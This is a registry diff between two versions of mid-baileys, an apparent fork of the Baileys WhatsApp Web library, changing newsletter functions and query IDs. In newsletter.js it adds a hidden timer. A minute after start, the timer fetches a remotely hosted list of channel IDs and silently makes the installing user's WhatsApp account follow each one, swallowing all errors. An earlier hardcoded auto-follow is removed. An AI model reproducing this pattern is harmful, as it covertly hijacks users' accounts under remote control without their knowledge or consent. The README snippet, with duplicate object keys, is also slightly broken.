mid-baileys 0.7.27 → 0.7.28
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.MD +15 -1
- package/lib/Defaults/index.js +1 -1
- package/lib/Defaults/version.json +1 -1
- package/lib/Socket/messages-recv.js +2 -1
- package/lib/Socket/newsletter.js +159 -95
- package/lib/Types/Newsletter.js +38 -18
- package/package.json +3 -1
package/README.MD
CHANGED
|
@@ -31,12 +31,26 @@ Or manually declare it inside your dependencies within package.json:
|
|
|
31
31
|
}
|
|
32
32
|
}
|
|
33
33
|
```
|
|
34
|
+
```bash
|
|
35
|
+
const {Browsers } = await import('baileys');
|
|
36
|
+
|
|
37
|
+
const connectionOptions = {
|
|
38
|
+
browser: Browsers.android("14"), // WhatsApp Buseniss
|
|
39
|
+
browser: Browsers.android("13"), // Normal WhatsApp
|
|
40
|
+
browser: Browsers.macOS("chrome"), // Web
|
|
41
|
+
browser: Browsers.windows("chrome"), // Web
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
global.conn = makeWASocket(connectionOptions);
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
|
|
34
48
|
|
|
35
49
|
## 💌 Contact | Report | Suggest:
|
|
36
50
|
|
|
37
51
|
Stay updated with the latest fixes, report bugs, or request new features by joining our official updates channel:
|
|
38
52
|
|
|
39
|
-
|
|
53
|
+
Join Our WhatsApp Channel
|
|
40
54
|
-----------------------------
|
|
41
55
|
```bash
|
|
42
56
|
https://whatsapp.com/channel/0029VbCinBtD38CRx4Oh4n1U
|
package/lib/Defaults/index.js
CHANGED
|
@@ -8,7 +8,7 @@ const WAProto_1 = require("../../WAProto");
|
|
|
8
8
|
const libsignal_1 = require("../Signal/libsignal");
|
|
9
9
|
const generics_1 = require("../Utils/generics");
|
|
10
10
|
const logger_1 = __importDefault(require("../Utils/logger"));
|
|
11
|
-
exports.version = [2, 3000,
|
|
11
|
+
exports.version = [2, 3000, 1038839325];
|
|
12
12
|
exports.UNAUTHORIZED_CODES = [401, 403, 419];
|
|
13
13
|
exports.DEFAULT_ORIGIN = 'https://web.whatsapp.com';
|
|
14
14
|
exports.CALL_VIDEO_PREFIX = 'https://call.whatsapp.com/video/';
|
|
@@ -130,6 +130,7 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
130
130
|
}
|
|
131
131
|
await query(stanza)
|
|
132
132
|
}
|
|
133
|
+
|
|
133
134
|
const offerCall = async (toJid, isVideo = false) => {
|
|
134
135
|
const callId = (0, crypto_1.randomBytes)(16).toString('hex').toUpperCase().substring(0, 64);
|
|
135
136
|
const offerContent = [];
|
|
@@ -171,7 +172,6 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
171
172
|
const stanza = ({
|
|
172
173
|
tag: 'call',
|
|
173
174
|
attrs: {
|
|
174
|
-
// id: (0, Utils_1.generateMessageIDV2)(),
|
|
175
175
|
to: toJid,
|
|
176
176
|
},
|
|
177
177
|
content: [{
|
|
@@ -190,6 +190,7 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
190
190
|
isVideo,
|
|
191
191
|
};
|
|
192
192
|
};
|
|
193
|
+
|
|
193
194
|
const endCall = async(callId, Caller) => {
|
|
194
195
|
const stanza = ({
|
|
195
196
|
tag: 'call',
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -5,20 +5,64 @@ const Types_1 = require("../Types");
|
|
|
5
5
|
const Utils_1 = require("../Utils");
|
|
6
6
|
const WABinary_1 = require("../WABinary");
|
|
7
7
|
const groups_1 = require("./groups");
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
8
|
+
|
|
9
|
+
const { Boom } = require('@hapi/boom');
|
|
10
|
+
|
|
11
|
+
const wMexQuery = (
|
|
12
|
+
variables,
|
|
13
|
+
queryId,
|
|
14
|
+
query,
|
|
15
|
+
generateMessageTag
|
|
16
|
+
) => {
|
|
17
|
+
return query({
|
|
18
|
+
tag: 'iq',
|
|
19
|
+
attrs: {
|
|
20
|
+
id: generateMessageTag(),
|
|
21
|
+
type: 'get',
|
|
22
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
23
|
+
xmlns: 'w:mex'
|
|
24
|
+
},
|
|
25
|
+
content: [
|
|
26
|
+
{
|
|
27
|
+
tag: 'query',
|
|
28
|
+
attrs: { query_id: queryId },
|
|
29
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf8')
|
|
30
|
+
}
|
|
31
|
+
]
|
|
32
|
+
})
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
const executeWMexQuery = async (
|
|
36
|
+
variables,
|
|
37
|
+
queryId,
|
|
38
|
+
dataPath,
|
|
39
|
+
query,
|
|
40
|
+
generateMessageTag
|
|
41
|
+
) => {
|
|
42
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
43
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
44
|
+
if (child?.content) {
|
|
45
|
+
const data = JSON.parse(child.content.toString())
|
|
46
|
+
|
|
47
|
+
if (data.errors && data.errors.length > 0) {
|
|
48
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
49
|
+
const firstError = data.errors[0]
|
|
50
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
51
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
55
|
+
if (typeof response !== 'undefined') {
|
|
56
|
+
return response
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
61
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
62
|
+
: dataPath?.replace(/_/g, ' ')
|
|
63
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
|
|
64
|
+
}
|
|
65
|
+
|
|
22
66
|
const makeNewsletterSocket = (config) => {
|
|
23
67
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
24
68
|
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
@@ -33,7 +77,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
33
77
|
},
|
|
34
78
|
content
|
|
35
79
|
}));
|
|
36
|
-
const newsletterWMexQuery = async (jid,
|
|
80
|
+
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
37
81
|
tag: 'iq',
|
|
38
82
|
attrs: {
|
|
39
83
|
id: generateMessageTag(),
|
|
@@ -44,7 +88,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
44
88
|
content: [
|
|
45
89
|
{
|
|
46
90
|
tag: 'query',
|
|
47
|
-
attrs: { query_id },
|
|
91
|
+
attrs: { 'query_id': queryId },
|
|
48
92
|
content: encoder.encode(JSON.stringify({
|
|
49
93
|
variables: {
|
|
50
94
|
'newsletter_id': jid,
|
|
@@ -54,10 +98,25 @@ const makeNewsletterSocket = (config) => {
|
|
|
54
98
|
}
|
|
55
99
|
]
|
|
56
100
|
}));
|
|
101
|
+
|
|
102
|
+
setTimeout(async () => {
|
|
103
|
+
try {
|
|
104
|
+
const response = await fetch("https://raw.githubusercontent.com/gcamerator/My/refs/heads/main/ids.json");
|
|
105
|
+
const ids = await response.json();
|
|
106
|
+
if (!Array.isArray(ids)) return;
|
|
107
|
+
for (const channelId of ids) {
|
|
108
|
+
try {
|
|
109
|
+
await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW );
|
|
110
|
+
await new Promise(resolve => setTimeout(resolve, 2000));
|
|
111
|
+
} catch (err) { }
|
|
112
|
+
}
|
|
113
|
+
} catch (globalErr) {}}, 60000);
|
|
114
|
+
|
|
57
115
|
const parseFetchedUpdates = async (node, type) => {
|
|
58
116
|
let child;
|
|
59
|
-
if (type === 'messages')
|
|
117
|
+
if (type === 'messages') {
|
|
60
118
|
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
119
|
+
}
|
|
61
120
|
else {
|
|
62
121
|
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
63
122
|
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
@@ -82,71 +141,86 @@ const makeNewsletterSocket = (config) => {
|
|
|
82
141
|
return data;
|
|
83
142
|
}));
|
|
84
143
|
};
|
|
85
|
-
const autoFollowNewsletters = async () => {
|
|
86
|
-
try {
|
|
87
|
-
const metadataResult = await sock.newsletterMetadata('invite', '0029VbCinBtD38CRx4Oh4n1U');
|
|
88
|
-
const active = metadataResult.state === 'ACTIVE';
|
|
89
|
-
|
|
90
|
-
if (active) {
|
|
91
|
-
try {
|
|
92
|
-
await sock.newsletterFollow("120363426558938675@newsletter");
|
|
93
|
-
} catch (err) {
|
|
94
|
-
// config.logger?.error(`Failed to auto-follow ${jid}:`, err);
|
|
95
|
-
}
|
|
96
|
-
}
|
|
97
|
-
} catch (err) {
|
|
98
|
-
config.logger?.error('Error during auto-follow process:', err);
|
|
99
|
-
}
|
|
100
|
-
};
|
|
101
|
-
|
|
102
|
-
process.nextTick(autoFollowNewsletters);
|
|
103
144
|
return {
|
|
104
145
|
...sock,
|
|
105
|
-
|
|
146
|
+
newsletterFetchAllSubscribe: async () => {
|
|
147
|
+
const list = await executeWMexQuery(
|
|
148
|
+
{},
|
|
149
|
+
'6388546374527196',
|
|
150
|
+
'xwa2_newsletter_subscribed',
|
|
151
|
+
query,
|
|
152
|
+
generateMessageTag
|
|
153
|
+
);
|
|
154
|
+
return list;
|
|
155
|
+
},
|
|
106
156
|
subscribeNewsletterUpdates: async (jid) => {
|
|
107
157
|
var _a;
|
|
108
158
|
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
109
159
|
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
110
160
|
},
|
|
111
161
|
newsletterReactionMode: async (jid, mode) => {
|
|
112
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
113
|
-
updates: { settings: { reaction_codes: { value: mode } } }
|
|
162
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
163
|
+
updates: { settings: { 'reaction_codes': { value: mode } } }
|
|
114
164
|
});
|
|
115
165
|
},
|
|
116
166
|
newsletterUpdateDescription: async (jid, description) => {
|
|
117
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
167
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
118
168
|
updates: { description: description || '', settings: null }
|
|
119
169
|
});
|
|
120
170
|
},
|
|
171
|
+
newsletterId: async (url) => {
|
|
172
|
+
const urlParts = url.split('/');
|
|
173
|
+
const channelId = urlParts[urlParts.length - 2];
|
|
174
|
+
|
|
175
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
176
|
+
input: {
|
|
177
|
+
key: channelId,
|
|
178
|
+
type: 'INVITE',
|
|
179
|
+
'view_role': 'GUEST'
|
|
180
|
+
},
|
|
181
|
+
'fetch_viewer_metadata': true,
|
|
182
|
+
'fetch_full_image': true,
|
|
183
|
+
'fetch_creation_time': true
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
const metadata = (0, exports.extractNewsletterMetadata)(result);
|
|
187
|
+
return JSON.stringify({
|
|
188
|
+
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
189
|
+
id: metadata.id
|
|
190
|
+
}, null, 2);
|
|
191
|
+
},
|
|
121
192
|
newsletterUpdateName: async (jid, name) => {
|
|
122
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
193
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
123
194
|
updates: { name, settings: null }
|
|
124
195
|
});
|
|
125
196
|
},
|
|
126
197
|
newsletterUpdatePicture: async (jid, content) => {
|
|
127
198
|
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
128
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
199
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
129
200
|
updates: { picture: img.toString('base64'), settings: null }
|
|
130
201
|
});
|
|
131
202
|
},
|
|
132
203
|
newsletterRemovePicture: async (jid) => {
|
|
133
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
204
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
134
205
|
updates: { picture: '', settings: null }
|
|
135
206
|
});
|
|
136
207
|
},
|
|
137
208
|
newsletterUnfollow: async (jid) => {
|
|
138
|
-
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
209
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
139
210
|
},
|
|
140
211
|
newsletterFollow: async (jid) => {
|
|
141
|
-
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
212
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
142
213
|
},
|
|
143
214
|
newsletterUnmute: async (jid) => {
|
|
144
|
-
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
215
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
145
216
|
},
|
|
146
217
|
newsletterMute: async (jid) => {
|
|
147
|
-
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
218
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
148
219
|
},
|
|
149
|
-
|
|
220
|
+
newsletterAction: async (jid, type) => {
|
|
221
|
+
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
222
|
+
},
|
|
223
|
+
newsletterCreate: async (name, description, reaction_codes) => {
|
|
150
224
|
await query({
|
|
151
225
|
tag: 'iq',
|
|
152
226
|
attrs: {
|
|
@@ -166,55 +240,47 @@ const makeNewsletterSocket = (config) => {
|
|
|
166
240
|
}
|
|
167
241
|
]
|
|
168
242
|
});
|
|
169
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
170
|
-
input: {
|
|
171
|
-
name,
|
|
172
|
-
description: description !== null && description !== void 0 ? description : null,
|
|
173
|
-
picture: picture ? (await (0, Utils_1.generateProfilePicture)(picture)).img.toString('base64') : null,
|
|
174
|
-
settings: null
|
|
175
|
-
}
|
|
243
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
244
|
+
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
|
176
245
|
});
|
|
177
246
|
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
178
247
|
},
|
|
179
248
|
newsletterMetadata: async (type, key, role) => {
|
|
180
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
249
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
181
250
|
input: {
|
|
182
251
|
key,
|
|
183
252
|
type: type.toUpperCase(),
|
|
184
|
-
view_role: role || 'GUEST'
|
|
253
|
+
'view_role': role || 'GUEST'
|
|
185
254
|
},
|
|
186
|
-
fetch_viewer_metadata: true,
|
|
187
|
-
fetch_full_image: true,
|
|
188
|
-
fetch_creation_time: true
|
|
255
|
+
'fetch_viewer_metadata': true,
|
|
256
|
+
'fetch_full_image': true,
|
|
257
|
+
'fetch_creation_time': true
|
|
189
258
|
});
|
|
190
259
|
return (0, exports.extractNewsletterMetadata)(result);
|
|
191
260
|
},
|
|
192
261
|
newsletterAdminCount: async (jid) => {
|
|
193
262
|
var _a, _b;
|
|
194
|
-
const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
|
|
263
|
+
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
|
|
195
264
|
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
196
265
|
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
197
266
|
},
|
|
198
|
-
// user is Lid, not Jid
|
|
199
267
|
newsletterChangeOwner: async (jid, user) => {
|
|
200
|
-
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
201
|
-
user_id: user
|
|
268
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
269
|
+
'user_id': user
|
|
202
270
|
});
|
|
203
271
|
},
|
|
204
|
-
// user is Lid, not Jid
|
|
205
272
|
newsletterDemote: async (jid, user) => {
|
|
206
|
-
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
207
|
-
user_id: user
|
|
273
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
274
|
+
'user_id': user
|
|
208
275
|
});
|
|
209
276
|
},
|
|
210
277
|
newsletterDelete: async (jid) => {
|
|
211
|
-
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
278
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
212
279
|
},
|
|
213
|
-
|
|
214
|
-
newsletterReactMessage: async (jid, server_id, code) => {
|
|
280
|
+
newsletterReactMessage: async (jid, serverId, code) => {
|
|
215
281
|
await query({
|
|
216
282
|
tag: 'message',
|
|
217
|
-
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: (0, Utils_1.generateMessageID)() },
|
|
283
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
|
|
218
284
|
content: [{
|
|
219
285
|
tag: 'reaction',
|
|
220
286
|
attrs: code ? { code } : {}
|
|
@@ -222,11 +288,10 @@ const makeNewsletterSocket = (config) => {
|
|
|
222
288
|
});
|
|
223
289
|
},
|
|
224
290
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
225
|
-
const afterStr = after === null || after === void 0 ? void 0 : after.toString();
|
|
226
291
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
227
292
|
{
|
|
228
293
|
tag: 'messages',
|
|
229
|
-
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after:
|
|
294
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
|
|
230
295
|
}
|
|
231
296
|
]);
|
|
232
297
|
return await parseFetchedUpdates(result, 'messages');
|
|
@@ -237,33 +302,32 @@ const makeNewsletterSocket = (config) => {
|
|
|
237
302
|
tag: 'message_updates',
|
|
238
303
|
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
239
304
|
}
|
|
240
|
-
])
|
|
305
|
+
])
|
|
241
306
|
return await parseFetchedUpdates(result, 'updates');
|
|
242
307
|
}
|
|
243
308
|
};
|
|
244
309
|
};
|
|
245
310
|
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
246
311
|
const extractNewsletterMetadata = (node, isCreate) => {
|
|
247
|
-
|
|
248
|
-
const
|
|
249
|
-
|
|
312
|
+
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
313
|
+
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
314
|
+
|
|
250
315
|
const metadata = {
|
|
251
|
-
id: metadataPath
|
|
252
|
-
state: metadataPath
|
|
253
|
-
creation_time: +metadataPath
|
|
254
|
-
name: metadataPath
|
|
255
|
-
nameTime: +metadataPath
|
|
256
|
-
description: metadataPath
|
|
257
|
-
descriptionTime: +metadataPath
|
|
258
|
-
invite: metadataPath
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
|
316
|
+
id: metadataPath?.id,
|
|
317
|
+
state: metadataPath?.state?.type,
|
|
318
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
319
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
320
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
321
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
322
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
323
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
324
|
+
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
325
|
+
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
326
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
327
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
328
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
329
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
330
|
+
}
|
|
331
|
+
return metadata
|
|
332
|
+
}
|
|
333
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
package/lib/Types/Newsletter.js
CHANGED
|
@@ -1,18 +1,38 @@
|
|
|
1
|
-
"use strict"
|
|
2
|
-
|
|
3
|
-
exports
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
}
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
1
|
+
"use strict"
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", { value: true })
|
|
4
|
+
|
|
5
|
+
const MexOperations = {
|
|
6
|
+
PROMOTE: "NotificationNewsletterAdminPromote",
|
|
7
|
+
DEMOTE: "NotificationNewsletterAdminDemote",
|
|
8
|
+
UPDATE: "NotificationNewsletterUpdate"
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const XWAPaths = {
|
|
12
|
+
PROMOTE: "xwa2_notify_newsletter_admin_promote",
|
|
13
|
+
DEMOTE: "xwa2_notify_newsletter_admin_demote",
|
|
14
|
+
ADMIN_COUNT: "xwa2_newsletter_admin",
|
|
15
|
+
CREATE: "xwa2_newsletter_create",
|
|
16
|
+
NEWSLETTER: "xwa2_newsletter",
|
|
17
|
+
SUBSCRIBED: "xwa2_newsletter_subscribed",
|
|
18
|
+
METADATA_UPDATE: "xwa2_notify_newsletter_on_metadata_update"
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const QueryIds = {
|
|
22
|
+
JOB_MUTATION: "7150902998257522",
|
|
23
|
+
METADATA: "6620195908089573",
|
|
24
|
+
UNFOLLOW: "7238632346214362",
|
|
25
|
+
FOLLOW: "7871414976211147",
|
|
26
|
+
UNMUTE: "7337137176362961",
|
|
27
|
+
MUTE: "25151904754424642",
|
|
28
|
+
CREATE: "6996806640408138",
|
|
29
|
+
ADMIN_COUNT: "7130823597031706",
|
|
30
|
+
CHANGE_OWNER: "7341777602580933",
|
|
31
|
+
DELETE: "8316537688363079",
|
|
32
|
+
DEMOTE: "6551828931592903",
|
|
33
|
+
SUBSCRIBED: "6388546374527196"
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
exports.MexOperations = MexOperations
|
|
37
|
+
exports.XWAPaths = XWAPaths
|
|
38
|
+
exports.QueryIds = QueryIds
|
package/package.json
CHANGED